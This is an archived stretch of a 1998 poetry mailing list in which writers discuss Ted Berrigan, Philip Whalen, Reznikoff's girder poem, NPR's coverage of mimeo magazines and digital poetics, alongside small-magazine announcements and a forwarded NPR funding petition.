berrigan / whalen / koch / ashbery / v lindsay
Wed 4 Mar 1998

Gary Lenhart or Joel Lewis or Simon Schuchat can probably speak to this better than I (or you!) but my sense is that Berrigan wired the Whalen of Bear's Head and Scenes of Life in the Capitol together with the Ashbery of the uncollected poem "The Poems" (ever green review #8) and zapped them into a very conservative matrix (some mix of a tate and vachel lindsay) to get a satisfying frisson.. I repeat my flatulent assertion that the sonnets is an ok work but tambourine life-train ride represents the major period, the good stuff, the pepsi, the gem spa. Larry Fagin rumors the original title of Bean Spasms was Lyrical Bullets and now that I've told you it'll be hell getting more out of him.

Fuck communism,
A fan

↑ Index

209. k. lederer
Re: EXPLOSIVE second printing
Wed 4 Mar 1998

EXPLOSIVE MAGAZINE #4 is now in its second printing.

Issue number four features new work by:

Lisa Lubasch, Prageeta Sharma, Rod Smith, Michael Basinski, Eleni Sikelianos, Mark Salerno, Gillian Kiley, Travis Ortiz, Leslie Scalapino, Albert Flynn DeSilver, Darin De Stefano, and wonderful poetry comics of pieces by Stein, Cage, and Hollo drawn by Dave Morice.

Single issues are five dollars.

A subscription is fifteen dollars for three issues.

Upcoming issues will feature work by:

Doug Powell, Juliana Spahr, Martin Corless-Smith, Dale Smith, Tan Lin, Pam Lu, Lisa Jarnot, Anselm Hollo, Bill Luoma, Alex Cory and many many others.

Checks should be made payable to Katy Lederer and sent to:

420 E Davenport #2
Iowa City, IA 52245

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210. Maria Damon
Re: newtek & po
Wed 4 Mar 1998

try also tina neumann at arizona state u, dept of speech and communications (?) or some variation thereof. she gave an apparently terrific (i was at another underattended panel) though underattended panel at our XCP conference.

At 7:52 AM -0600 3/4/98, Brian Clements wrote:
>Gwyn,
>
>The only person I know of who is doing anything with ASL poetry is Dirksen
>Bauman, who published a piece recently in the PMLA. I don't know where
>Dirksen is now, but you might be able to track him down through the
>Binghamton English Dept.
>
>Brian
>
> ~~~

>
>
>On Tue, 3 Mar 1998, Gwyn McVay wrote:
>
>> New media. Old media. Books superior. Web a class issue. Okay, fine. What
>> I'd like to see happen is a CD-ROM anthology of American Sign Language
>> poetry--which is out there, and must, by its nature, have a unique poetic,
>> but doesn't get, for lack of a better word, "heard" through the usual
>> channels. Maybe a CD ASL po-zine from Gallaudet?
>>
>> Then, to make it really interesting, they could play the video clips of
>> poems to ASL-literate apes and get their response. ("You call this poetry?
>> If I had the time, I could write /Hamlet/....")
>>
>> Gw(seriously)yn
>>

↑ Index

211. Mark Weiss
Re: Berrigan
Wed 4 Mar 1998

A locus for this scene was St Mark's, and Blackburn should certainly figure, although he managed to share (at times invent) the attributes of several "schools" (often more like social circles) without wearing their brands.

> *The whole 2nd generation New York school needs a 2nd look. How about Ron Padgett? Ceravolo? Tony Towle?*
>
> *Ch. Bernstein's essay on Berrigan in Content's Dream is very interesting because it argues for a non-biographical reading. Any thoughts on this?*
>
> *Jonathan Mayhew*
> *Department of Spanish and Portuguese*
> *University of Kansas*
> [redacted]

↑ Index

212. **Martin Spinelli**
long wet kisses and technophilia
Wed 4 Mar 1998

Mark--
> > The "U" in utopia is "no" and makes the "A" in atopia a bit
> > redundant.
> > "Noplace" and "Placeless" are both in the same distopian
> > discourse community, no?
>
> To belabor:
>
> topos being "place"
>
> u- being "no" thus "no place" i.e. does not exist
> but translated Utopia meaning "place of ideal perfection" whereas

To labor:

I don't know what "irony" is in Greek, but in Latin it's "illusio". As in: My distinction between utopia and atopia included a touch of illusio.

> *I forward this definition, uncontentiously, as being distinct from utopia as it implies not an ironic criticism of human ideals of perfection nor perfection itself nor perdition, so to speak, but a state of being whose location or place is not verifiable in physical terms. Thus the utterance is not "located" in space but rather in the "moment" of it's articualtion in Time.*

Therein rubs the rub. This space (espace) is both as "physical" and as "virtual" as the Wall Street Journal or the Buffalo News's Poetry Page. Physical eyes read them in physical places on substances with physical presences, made with the physics of physical labor. The e- utterance is located in space just as the news, op-ed human contact, poetry and the funnies are all located in the moment, the moment that we read them as much as the moment they are articulated.

> *Place requires physical presence, which isn't always possible. No place requires the impossible, perfection. Bad places we all want to stay out of. Atopia allows us not community, but communication (between beings in distant places in time) that otherwise we could or would not have made.*

Aside from mythic instantaneity (try accessing over-seas web pages with a 28.8 modem), I don't see how this communication differs drastically from me buying Essex Street/Tailspin books at a London bookshop (which you can do) or subscribing to _The Nation_ via airmail.

Oh... and Maria D., if you're listening. That rejected collab you did with Rasputin sounds interesting. Any chance of me seeing a copy, "e" or otherwise?

Longingly,

Martin

_____

Martin Spinelli SUNY Buffalo English Department
Granolithic Productions

[redacted]
LINEbreak http://writing.upenn.edu/epc/linebreak
ENGAGED http://www.engaged.demon.co.uk

↑ Index

213. Jean Day
Hejinian essays, Hejinian/Watten events at UCB,
Wed 4 Mar 1998

To everybody re the recent lament that a volume of Lyn Hejinian's essays has never been done (sorry, I don't remember whose post), UC Press is working on a collection of Lyn's critical writing right now. Don't know what the publication schedule is, but it will likely be announced on the Press's web site, http://www-ucpress.berkeley.edu, when the pub. date's confirmed.

And for anybody in the Bay Area, Lyn will be reading with Barrett Watten at UC Berkeley on March 17 at 4pm at the Townsend Center for the Humanities in 220 Stephens Hall. Barrett will be giving a talk, "The Constructivist Moment: From El Lissitsky to Detroit Techno," the previous day, same time and place. The Townsend Center can be reached at [redacted] for more info.

--Jean

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214. Rod4rigo
Re: jack hirschman
Wed 4 Mar 1998

Jack Hirschman is alive and well here in SF...still reading at demos, pickets, whatnot (with all his furor)... .translating mallarme recently...etc..

Jack wouldn't be passing out CP papers really...he used to run with the CLP, from which the LR (league of revolutionaries) of which he's a part of -- split. Like many of the less sectarian socialists, his group LR as well as Socialist Organizer, along with PFP (peace and freedom) and elements of Socialist Action (as well as other left melieu -- fragmentia --) are, or are striving to be, non-

obstructionist entrents into the Labor Party (Golden Gate Branch)...a party that has a medium-sized but dedicated (and growing!) base in the Trade Union movt...Oil Chemical and Atomic Workers, United Electrical, ILWU (longshoremen) etc..as well as other Pol. groupings, eg. National Welfare Rights Union..BWJ..Black Workers for Justice..

Jack hates the Net and its culture (though I'm not aware that he's all that informed on the important political work that sometimes get done through the net. He'd have something colorful to say if he got wind of this posting!

And though our poetics differ greatly both formalistically and...and what? in affekt

We both agree on the (urgent) need to de-sectarianize the left...this process is one that I think (or hope) is taking shape in the cultural sphere as well.

Rodrigo Toscano

↑ Index

215. k. lederer
Re: Berrigan
Wed 4 Mar 1998

One of my favorite Berrigan books is RED WAGON--

Three of my favorite pieces:

CONVERSATION (I would reproduce it, but the form is too complex for e-mail)

TODAY's NEWS

My body heavy with poverty (starch)
It uses up my sexual energy
        constantly, &
I feel constantly crowded

On the other hand, One
Day In The Afternoon of
    The World
Pervaded my life with a
    heavy grace
                today

I'll never smile again

Bad Teeth

But
I'm dancing with tears in my eyes

(I can't help myself!) Tom
writes he loves Alice's sonnets,
  takes four, I'd love

to be more attentive to her, more
  here
The situation having become intolerable
the only alternatives are:
  Murder & Suicide.

They are too dumb! So, one
becomes a goof. Raindrops
start falling on my roof. I say
Hooray! Then I say, I'm going out

At the drugstore I say, Gimme some pills!
  Charge 'em! They say
Sure. I say See you later.

Read the paper. Talk to Alice.
She laughs to hear
  Hokusai had 947 changes of address
In his life. Ha-ha. Plus everything
  else in the world
going on here.

I USED TO BE BUT NOW I AM

I used to be inexorable,
But now I am elusive.

I used to be the future of America,
But now I am America.

I used to be part of the problem,
But now I am the problem.

I used to be part of the solution, if not all of it,
But now I am not that person.

I used to be intense, & useful,
But now I am heavy, & boring.

I used to be sentimental about myself, & therefore ruthless, But now I am, I think, a sympathetic person, although easily amused.

I used to be a believer,
But now, alas, I believe.

↑ Index

216. Jack Foley
TLR Web Poetry Chapbook Series
Wed 4 Mar 1998

THE LITERARY REVIEW
http://webdelsol.com/tlr/

announces
the 1st series of
Poetry Chapbooks on the Web

featuring

John E. Smelcer Barbara J. Orton Bino A. Realuyo

New poets will follow shortly -- three more this spring 1998

The Web Poetry Chapbook Series from TLR represents an on-going effort of Web Del Sol (http://www.webdelsol.com/pub-bar.htm) to partner with quality literary magazines on the Web in order to bring important works of poetry to a new audience.

↑ Index

217. Thomas Bell
Re: The Sonnets
Wed 4 Mar 1998

I have not seen much on Whalen's drawings. I think he is neglected, and neglected as a visual poet. He did some really fine jottings. tom bell

At 09:30 AM 3/4/98 -0500, Gary Sullivan wrote:
>Hi, Erik:
>
>You can get a copy of the Grove Press edition of _The Sonnets_ (1964) from
>Pomander Books for $30.00. A lot of money, maybe, but not bad for this,
>considering (a) I've seen it selling for $125.00 and (b) it has a very high
>Groove Factor (like, 8 or 9). Contact Pomander at:
>
>[redacted]
>
>I think Berrigan took as much, maybe more, from Philip Whalen. I also think
>what he took from Whalen was ultimately more interesting than what he took from
>O'Hara. All three are amazing poets.
>
>Yours,

>
>Gary Sullivan
>[redacted]
>
>

↑ Index

218. **David Kellogg**
Re: Jack Hirschman
Wed 4 Mar 1998

From: TBeck131 <[redacted]>
To: [redacted] <[redacted]>
Date: Wednesday, March 04, 1998 2:11 PM
Subject: Jack Hirschman

>Ron's mention of Hirschman provokes some memories. In the late 1970s I
>published a small chapbook by Jack called DOVE ROSE under the Viscerally Press
>imprint. (Side note: the cover art was by Hirschman's pal, the actor, Dean
>Stockwell.) I don't think I even have a copy of the book any more.

Tom or somebody else,

Duncan dedicates a poem to Dean Stockwell somewhere (I think it's in _Bending the Bow_, but I'm at work and my copy's at home). What's up with him and poetry? This is just an interesting (to me) possible side thread.

Cheers,
David

↑ Index

219. **Safdie Joseph**
Re: NPR
Wed 4 Mar 1998

Radio Alert!

As I type at 3:30 PM west coast time, NPR and All Things Considered is doing a piece on the NY Public Library's show of the Poetry Project's mimeoed magazines. Berrigan mentioned; Ron Padgett is speaking now . . . go to the left of your dial and turn it on!

↑ Index

220. **Pritchett,Patrick**

Re: a secret location

Wed 4 Mar 1998

This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible.

--Boundary_(ID_1g6+RcvVOGzik7VzI5MRfA)

I was shocked to hear just now the voice of Ted Berrigan reciting a poem on NPR (with a line by Jeff Wright - but which one, asked Ted?). Part of a piece NPR did on a project at the NYPL called a A Secret Location on the Lower East Side. I came in in the middle and have only a muddled idea of what it's all about.

Jordan Davis or other New Yawkahs - can u fill us in please?

Patrick Pritchett

--Boundary_(ID_1g6+RcvVOGzik7VzI5MRfA)

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
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<META NAME="Generator" CONTENT="MS Exchange Server version 5.0.1458.49">

</HEAD>
<BODY>
<P><FONT SIZE=2>I was shocked to hear just now the voice of Ted Berrigan reciting a poem on NPR (with a line by Jeff Wright - but which one, asked Ted?). Part of a piece NPR did on a project at the NYPL called a A Secret Location on the Lower East Side. I came in in the middle and have only a muddled idea of what it's all about.</FONT></P>

<P><FONT SIZE=2>Jordan Davis or other New Yawkahs - can u fill us in please?</FONT>

<FONT SIZE=2>Patrick Pritchett</FONT>
</P>

</BODY>
</HTML>

--Boundary_(ID_1g6+RcvVOGzik7VzI5MRfA)--

↑ Index

221. Matthew Kirschenbaum
Re: web publication, etc.
Wed 4 Mar 1998

Joe, just checked in -- I read the list exclusively via the archive these days -- and the discussion seems to have moved on . . . but I really think we agree in any case. My only point, all along, has been that given the significant corpus of electronic poetry that _already_ exists for us the critical project would be well served by a turn toward sustained engagements with individual works or groupings of works -- and a turn away from more sweeping, speculative gestures. Certainly this is where I feel my own energies being pulled . . . The only electronic writing (prose or poetry) I'm aware of that's accumulated _any_ amount of really careful, thick discussion is Joyce's _afternoon_ -- which is not to say other works have not received notice and occassionally been commented upon, but I don't see that they've been much _studied_.

Anyhow, back to Ted Berrigan. Matt

↑ Index

222. Jacques Debrot
Re: A Secret Location on the Lower East Side
Wed 4 Mar 1998

By a strange coincidence, NPR ran a story tonight on the exhibition of NY School mimeo magazines at the Public Library. Berrigan, one of the curators says, is the star of the exhibit. Padgett and Waldman were interviewed, the Donald Allen's anthology & the Poetry Project discussed, & the existence of "another tradition" leaked at last to the general public -- all together a very pleasant surprise. Plus, following the story, an explanation of what mimeo actually is -- I was never quite sure.

↑ Index

223. Susan Clark
RADDLE MOON
Wed 4 Mar 1998

RADDLE MOON 16 can be ordered through Small Press Distribution

[redacted]

or, for the more adventurous, direct from us:
RADDLE MOON
518-350 East Second Avenue

Vancouver, BC V5T 4R8
CANADA

The cost is $10 for a single issue or $15 for a two-issue subscription [subscription orders must be sent to the above street address]. Back issues at various prices, please ask.

RM17 will have a section of new work from Vancouver and ex-Vancouver writers and a section curated by Nicole Brossard of work from Quebecois/e writers in translation as well other work not falling into these categories. We are still reading work for this issue. Deadline April 15/98.

RM18 will be a our second special "image/text" issue and is open for submissions. "Image/text" work uses text and images (seems to be some confusion on this) in some sort of relation. (Please bear in mind that we print in black ink only and are a 2-D object measuring 6.25" x 8"). We are reading work for this issue now.

Email [queries only -- no submissions, please] to Susan Clark [redacted]

Don't forget to supply a self-addressed envelope and return postage [IRC or stamps, or M.O.] with submissions Contributors get a one-year subscription as payment and discount on extra copies of "their" issue if they want.

bon route,
Susan

Susan Clark
RADDLE MOON
[redacted]

↑ Index

224. Kwsherwood
convergence
Wed 4 Mar 1998

An odd convergence to eye the Poetics-list while NPR: All Things Considered enters the ear. Anne Waldman, Ron Padgett . . .
---------- ---------- The "mimeo revolution" has made it to the bigtime, "well printed despite the technology"

"you can almost smell the mimeo ink." (A.W.)

We simply wanted to show our work to our friends ... we didn't have any ambition to take over the world...

"Today people **would probably** do this on the internet."

"There is something magical about the . . . "

"mimeographs were just one step..."

"about ten years later, carbon paper came along"

"mimeo from the greek, meaning I imitate"

"the next revolution . . . came in 1938 . . . first xerographic image . . . "

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225. Kwsherwood
literary capital
Wed 4 Mar 1998

---

the questions of first-publication, republication etc. editors of ezines receive from contributors are one index of the "view" on these venues. when rif/t debuted several years ago, loss and i recv'd boat-loads of questions/queries/concerns about whether online publication "counted", whether work could be previously or subsequently published in print, etc.

as a practical matter (and because in '93 there was precious little online poetry in the poetics-list vein) we encouraged submission of work prev published in journals ... and urged that online publication shouldn't preclude subsequent print publication. Felicitoiusly, most print editors at seemed to class online pub with the circulation of home-made broadsides . . . viz: not publication, --- audiences for journals and web (gopher) mutually exclusive.

The question seems to worry poets less in 98 (poetics-list traffic notwithstanding...); a reflection of what, growing acceptabilty of online publishing? reification of the 'separate but equal' doctrine? perhaps a coming to terms with concerns for the issue of ephemerality (as digital text returns to haunt us, refusing deletion)...

↑ Index

226. david bromige
reznikoff's girder take 3
Wed 4 Mar 1998

This in response to something in one of Joel Kuszai's recent posts.-- It strikes me as an oddly undemocratic vision for Reznikoff--or Oppen, who approved of this line--to (as Joel so well says) "put a halo" around one piece of the rubble, consigning the rest ("huddled masses") to the garbage-scow of history. Consider the reader. S/he identifies with the girder ("I am a girder") and so what does that make the rest of us? Not a brick here and a bike wheel there and a single mitt here but--mere rubble.("rabble," as Joel puns). Or s/he identifies with the

rubble--so who is that jerk who thinks he's a girder and we others are undifferentiated trash?

"I saw the girder
 first was still itself
 and then brick by brick
 and then the bike wheel,
 then the dead cat, each
 halo'd with identity"

but perhaps american poetry no matter the marxism of its writer cannot transcend the cult of rugged individual ("resistant as a girder") and still be received as fine. I certainly don't care for what I just made up and put in lines. But I do care that this reznikoff girder-poem is in bad faith. David

↑ Index

227. SSSCHAEFER
Magazine Concepts Continued
Wed 4 Mar 1998

A number of people have back-channelled me about the issue of community and publishing. A couple people have pointed out that editors tend to get their work published elsewhere and that they think that publishing can be tantamount to the dread "self-promotion." I find this some what disturbing as I know for a fact that there are a lot MFA kids out there who get really angry that no one is publishing their poems, but are absolutely unwilling to do anything to help others get their work out. Wondering: these people who just flood the magazines by submitting to magazines they've never even seen and don't do anything for anyone else, could they be the selfish ones? On the other hand, a number of people have back-channelled me to say that they are afraid to publish "forward" "radical" "anti-this, pro-that" stuff because they don't want to be like those "power hungry" "acadominant" language poets. Whatever your opinion on those guys, I just want to say publishing your own magazines might be the only way to combat that problem. Perhaps an obvious point. In the mean time, I would like to say that as an editor/publisher, if you send out forty-seven copies of the same poem to different magazines...what is that if not self-promotion. I think it is sort of a useless notion. Also, I think people who want to be in magazines should also pay for them. Think of it as union dues. One cannot join a community by sitting alone in a room.

A few others have said that they were encouraged by my post and are now going forward with their publishing plans. I think we're all for more of everything.

Not very many people have e-mailed me in an effort to discuss magazine concepts. However, one idea that I particularly like re: community is the following: invite 12 of your favorite writers/friends/erstwhile-friends to send you 2 poems a month. They would send 2 poems xeroxed say 30 times. All these would be stapled together by the "editor" and then mailed back to the writers and others. At the end of the year, a sort of "best of" would be printed. I think this is an exciting concept (a bit like Open City? not sure) that could make for very interesting sort of cross-talk, conversation, collaboration, etc. A perfect way to get a snap shot of what people are doing over a given year, getting an idea of what people have tried and perhaps even failed.

I'd be very interested to hear from others who have inclusive ideas for publishing.

Standard

↑ Index

228. laura and jeff

npr

Wed 4 Mar 1998

---

please sign.
jeff.

NPR Funding This is being forwarded to several people at once to add their names to the petition. NPR (National Public Radio) and the arts are facing major cutbacks in funding.

It won't matter if many people receive the same list as the names are being managed. This is for anyone who thinks NPR/PBS is a worthwhile expenditure of $1.12/year of their taxes. A petition follows. If you sign, please forward on to others (not back to me). If not, please don't kill it-send it to the email address listed here: [redacted] PBS.

In spite of the efforts of each station to reduce spending costs and streamline their services, some government officials believe that the funding currently going to these programs is too large a portion of funding for something which is seen as not worthwhile. Currently,taxes from the general public for PBS equal $1.12 per person per year, and the National Endowment for the Arts equals $0.64 a year. A January 1995 CNN/USA Today/Gallup poll indicated that 76% of Americans wish to keep funding for PBS. This percentage of people polled is surpassed only by national defense and law enforcement as the programs that are the most valuable for federal funding. Each year the Senate and House Appropriations committees each have 13 subcommittees with jurisdiction over many programs and agencies. =

Each subcommittee passes its own appropriation bill. The goal each year is to have each bill signed by the beginning of the fiscal year, which is October 1.
The only way that our representatives can be aware of the base of support for PBS and funding for these types of programs is by making our voices heard.
Please add your name to this list and forward it to friends if you believe in what we stand for. This list will be forwarded to the President of the United States, the Vice President of the United States, and Representative Newt Gingrich, who is the instigator of the action
to cut funding to these worthwhile programs.
*If you happen to be the 150th, 200th, 250th, etc. signer of this petition, please forward a copy to:

[redacted].

If that address is inoperative, please send it to:
[redacted]. This way we can keep track of the
lists and organize them. Forward this to everyone you know, and help us to keep these programs alive.

Thank you.

NOTE: It is preferable that you SELECT the entirety of this letter and
then COPY it into a new outgoing message rather than simply forwarding it.

515) Janet Wygal, Hoboken, NJ
516) Gene Holder, Hoboken, NJ
517) Cindy E. Brolsma, Brooklyn, NY
518) Sheryl Farber, Los Angeles, CA
519) P. David Ebersole, Silver Lake, CA
520) Todd Hughes, Silver Lake, CA
521) Betsy Hamlin, Silver Lake, CA
522) Rachel Powell, Santa Monica, CA
523) Jill & Michael Vercos, Venice, CA
524) Nikolaus Scharpf, Eatonton, GA
525) Jan Walleczek, CA
526) Joanne Hall, Kalamazoo, MI
527) Mary Williams, Kalamazoo, MI
518) Mark Nepo, Albany, NY
519) Susan McHenry, Albany, NY
520) Lillien Waller, Bronx, NY
521) Tracye Matthews, Chicago, IL

522) Martha Kathleen Zygmun, Chicago, IL
523) Catherine Tolley, CHicago, IL
524) Julie Pokorny, Chicago, IL
525) Daniel Kuruna, Chicago IL
526) Christine Kuruna, Selinsgrove PA
527)Jesse Fletcher, Lewisburg PA
528) Kasey Bohaboy, Palo Alto, CA
529) Amy Sabbadini, Santa Barbara, CA
530) Roger Sabbadini, San Diego, CA
531) Robert Engler, San Diego, CA
532) Roberta Gottlieb, San Diego, CA
533) Grant Meisenholder, San Diego, CA
534) Jennifer Post, Seattle, WA
535) Raymond Post, Seattle, WA
536) Ginnah Saunders
537) Chris Garman, San Diego, CA
538) Padmini Srikantiah, San Diego, CA
539) Jayashri Srikantiah, San Francisco, CA
540) Duane Valz, Oakland, CA
541) David Mrozek Rauch, San Francisco, CA
542) Betsy Fagin, San Francisco, CA
544) John Montesa, Southborough, MA
545) Lyn Chamberlin, Lincoln,MA
546) Mark Edwards, Lexington, MA
547) Dave Vanable, Honeoye Falls, NY
548) Susan Scheible, Pittsford, NY
549) Kim Krzyzewski, State College, PA
550) Beverly Balger, State College, PA
551) Deborah Leopold, Riverdale, MD
552) Herbert W. Ettel, Washington, DC
553) Bernadette H. Odyniec, Washington, DC

Beverly Balger
Registrar
Palmer Museum of Art
The Pennsylvania State University
University Park, PA 16802
[redacted]

554) Cori Parrish, Arlington, VA
555) Joshua Cohen, Amherst, MA
556) Teresa Sparks, Morgantown, WV

557) jeffrey daniel miller, Wooster, OH and Parkersburg, WV

There are no hierarchies, no infinite, no such many as mass,
there are only
eyes in all heads
to be looked out of

-charles olson, from "letter 6" (of the maximus poems)

↑ Index

229. **Schuchat Simon**

Re: berrigan / whalen / koch / ashbery / v lindsay

Wed 4 Mar 1998

---

1. Somewhere Ted has a poem "Old Master Story" which goes: John Ashbery heads/Philip Whalen tails (or something to that effect).

2. I agree with Jordan that Train Ride & Tambourine Life are pinnacles of achievement -- they are also not from the same "period" and are quite different works, albeit both much learned (accent on the second syllable) out of Whalen. Tambourine life is a settled existence, at home, and Train Ride is in motion, etc, etc.

3. Ted once told me that he was very influenced by Miles Davis in writing the Sonnets. (He may have also made this assertion in an interview or teaching a class, i.e., there may be a citation beyond my own memory.) (I also don't think I understood what he meant.)

4. The John Cage Interview.

5. Henry's suggestion re "grunge" or the "grittiness of the quotidienne" are part of where Ted's practice intersects with (as Mark notes) Paul Blackburn, of whom Ted often spoke.

6. Ted was a big fan of Conrad Aiken. Actually, he read all poets, and excepting some near contemporaries, liked them all. He told me how much he liked a particular poem by Richard Wilbur. He was Clark Coolidge's big champion. I.e., Ted was -- as he often said -- catholic. He also was influenced by everything he ever read, heard, saw, or said.

↑ Index

230. Susan Clark
Norma Cole & Stacy Doris, eds. RM16
Wed 4 Mar 1998

hello all,

Just noticed that neither Mark's nor Jacques's posts happens to refer to Stacy Doris or Norma Cole, the editors of RADDLE MOON 16, the new French writing issue and I didn't want their work to be mis-attributed or overlooked.

Norma and Stacy are responsible for discovering the writers [many of whom are un- or little-known in France] and arranging the vital translator-translatee couplings. They are the guest editors of the issue and it was a big pleasure to host them in RM. Each of them has written a note in the back of the issue on the process.

[that's] *bonne* route,
Susan -- ever careless of gender ...

Susan Clark
RADDLE MOON
[redacted]

↑ Index

231. David Zauhar
Re: The Sonnets
Wed 4 Mar 1998

> *No books here at work today, so Whalen/Berrigan will have to wait until tomorrow or Friday, so I can quote a few things. Erik, if you really want that copy, e-mail Pomander's pronto--I think they only have one. Do you have a copy of Whalen's _On Bear's Head_? I think you'd probably love it. It's been out of print, like, "forever." You can find used paperback copies every now & then, but if you can't wait, you can get a hardback copy for $25 from Second Life Books in Lanesborough, MA. If interested, e-mail them at:*

Not to gloat too much, but I scored a discarded library copy of Whalen's _On Bear's Head_ from the retired book store of the Harold Washington library for a quarter. It's sad to see a book like that being taken off the shelves, but I think I've given it a good home. Other recent finds there include Joe Ceravolo's Spring in the World of Poor Mutts, and Jonathon William's An Ear in Bartram's Tree, from which this timely poem on WCW's death, 35 years ago today...

WCW: March 4, 1963

I like it
that you died

the month
spring comes.

I could also add a timely Berrigan poem about Joe Brainard's Collage about Williams ("he's not in it, the hungry dead doctor"), but my copy of _The Sonnets_ is on loan to a friend.

David Zauhar
University of Illinois at Chicago

So often nothing happens
and then when something does
noone notices.

--Alan Davies

↑ Index

232. TBeck131
That's bric-a-brac, Patty Black. Give the frog a loan.
Wed 4 Mar 1998

My heading is the punch line of a joke I heard earlier today. Which reminded me of Michael Gottlieb's poem "Timing is Everything," a text composed entirely of punch lines. It first appeared in an issue of __This__. I don't recall ever seeing it collected into a book. It bears looking at. A wonderful example of composition by collage principle, not to mention Henny Youngman's principles.

Tom Beckett

↑ Index

233. Karen Kelley
[Fwd: http://www.andyart.com/]
Wed 4 Mar 1998

This is a multi-part message in MIME format.

I can't remember who, but someone was asking about a source for cool web graphics--this guy's worth checking out.

by baygate.bayarea.net (8.8.5/8.8.5) with ESMTP id MAA01113
for <[redacted]>; Wed, 4 Mar 1998 12:30:11 -0800 (PST)
From: [redacted]
by ngcpost.ngc.com (8.8.8/8.8.8) with ESMTP id MAA26857
for <[redacted]>; Wed, 4 Mar 1998 12:28:35 -0800 (PST)
by vegas.ngc.com (8.8.8/8.8.8) with SMTP id MAA26908
for <[redacted]>; Wed, 4 Mar 1998 12:28:17 -0800 (PST)
(IMA Internet Exchange 2.11 Enterprise) id 001128DB; Wed, 4 Mar 1998

12:26:39 -0800
Date: Wed, 4 Mar 1998 12:33:34 -0800
To: [redacted]
Subject: http://www.andyart.com/

----------8EC3AAE57C4--

↑ Index

234. **Tosh**
Re: Jack Hirschman
Wed 4 Mar 1998

>From: TBeck131 <[redacted]>
>To: [redacted] <[redacted]>
>Date: Wednesday, March 04, 1998 2:11 PM
>Subject: Jack Hirschman
>
>
>>Ron's mention of Hirschman provokes some memories. In the late 1970s I
>>published a small chapbook by Jack called DOVE ROSE under the Viscerally
>Press
>>imprint. (Side note: the cover art was by Hirschman's pal, the actor, Dean
>>Stockwell.) I don't think I even have a copy of the book any more.
>
>
>Tom or somebody else,
>
>Duncan dedicates a poem to Dean Stockwell somewhere (I think it's in
>_Bending the Bow_, but I'm at work and my copy's at home). What's up with
>him and poetry? This is just an interesting (to me) possible side thread.
>
Dean is/was a very close friend to David Meltzer, Jack, Michael
McClure,etc. and etc.

Tosh Berman
TamTam Books

↑ Index

235. Thomas Bell

Re: what's new? (was: Re: You Too Can Edit a LitMag (or can you)

Thu 5 Mar 1998

Care to share your thoughts on digital poetics? I've been pondering (yesy, the hint of slow thinking is intended) visual poetics. Have not seen much that on either that moves me but suspect and hope that these "poetics" are not simply copies of or departures from current verbal poetics, art movements, or e-poetics. tom bell

At 10:29 AM 3/3/98 -0500, Matthew Kirschenbaum wrote:
>Tom Bell,
>
>>While fascination with the new, the latest technology, the glitsy or
>>zingy-zangy, etc. seems overpowering right now, it will fade away quite
>>soon. I think there is quality stuff already if one looks.
>
>Just my point, Tom.
>
>>I think Joe was referring to new ways of writing (thinking) that are in
>>fact not possible on the printed page or at a reading. Just because
>>one can't compose hyperlinked lines for the printed page or to be read
>>aloud does not mean they can't be poetry. The same applies to simultaneous
>>multi-media composition: written and spoken, written and drawn, spoken
>>and visual, moving and moving.
>
>Yes yes yes Tom -- and . . . "there is quality stuff already if one looks."
>
>Lots of it in fact.
>
>About a year ago, Chris Funkhouser said to me that it was possible -- just
>barely -- for him to comprehensively survey the range of existing electronic
>poetry in his dissertation. I don't think he (anyone) could do it today.
>
>I'm trying to get (myself) out of the habit of qualifying (all) digital
>poetics with an anticipatory hypothetical and the c(h)ant of the NEW -- we
>have (some) digital poetics today, right now, that can already (uh oh) be
>historicized, institutionalized, materialized. E-ven enjoyed. Matt
>
>

↑ Index

236. laura and jeff
a writer's job
Thu 5 Mar 1998

> *"A writer's job is to write, whatever means are at their disposal"--*
>
> *I love poetry and wish more people loved it as much as I do--*
>
> *But I don't think that a writer's "job" is necessarily to write--*

i would say: a writers job is to exist. by definition: a writer writes. it need not be a "job", it just is.
but writers must exist, and it should be their job to continue to exist.
(and by writing, i do not mean the physical act of ink to paper, sound from mouth, etc.) every writer is, by extension, a thinker. and without people thinking...
so: the writer's job is to exist, and (again: by extension) to further the existance (i.e. to incite others to write/think).
jeff.

There are no hierarchies, no infinite, no such many as mass,
there are only
eyes in all heads
to be looked out of

-charles olson, from "letter 6" (of the maximus poems)

↑ Index

237. laura and jeff
Re: what's new? (was: Re: You Too Can Edit)
Thu 5 Mar 1998

> *tho i'm mostly with joe amato on this thread, to me the technology is (still) alltoo new for one to be able to come down firmly for or against.*

of course not. technology is neutral. it's human beings who are not.
jeff.

There are no hierarchies, no infinite, no such many as mass,
there are only
eyes in all heads
to be looked out of

-charles olson, from "letter 6" (of the maximus poems)

↑ Index

238. **J. Kuszai**
girder to poet: delete me, baby
Thu 5 Mar 1998

---

the girder amid the rubble, while conjuring images of odd journeys I've taken through endless piles of junk, rubble, garbage, and places like the tracks in portland's brooklyn yards where it was a mile walk to school each day (and this was the time that I really dug into Oppen and Reznikoff). not surprisingly, i also have lots of pictures of that time. everything in black and white. democratic? eh? I don't hear anyone saying anything, and as far as I know that girder can't vote. seriously, what I always got from that scene wasn't so much the rugged individualism of the any-body could be a self, with a little effort (and if you knew someone, had rich parents, etc.) but instead related to the kind of optics of seeing, which i guess is a kind of party line objectivist thinking. certainly this is different in oppen and zukofsky and niedecker and then of course the whole objectivst school as any recognizable thing comes collapsing down on anyone trying to put anything up about it. certainly you do get the patronizing "suzie had a self" in oppen in moments of his poems, although I still love those poems, the "her name was Phyllis, not neo-classic" section. The part where she's riding the bus home, her first job, etc., and there are these lines (i don't have my oppen with me, and quite frankly havent thought about him seriously in some time, so i might have this wrong) the lines after that where he writes that she steps down off the bus, something to the effect that she sees *(or is)* "a spot of light on the pavement"--in any event that oppen-esque spotlight is beaming on her--there is a beauty to the recognition, in oppen's rhetoric (I think) that she exists, that he can say that she exists, or if she can, that she will. "Speak if you can," etc.

These lines were terribly important to me, and I was schooled at one point by the girder. And I love David's reading of the girder & think it quite correct. I guess I'm resistant to slam this though, because somehow I can take something away from that moment of recognition, without being blasted by oppen's "spot of light on the pavement" as if it were making an incandescent candle of her, or me, for wanting it to be. But I still don't think that it is somehow undemocratic--I think there is a version of version of democracy which is exactly this "I could win the Lotto" and "I influence elections" kind of thinking. What is the substitute for democracy implied here? Fascism? One poet rule? Also implied by this sense of the girder as individual, with the "masses" shaded in the background, is that there is a more "democratic" way to handle the trash of the vacant lot, a

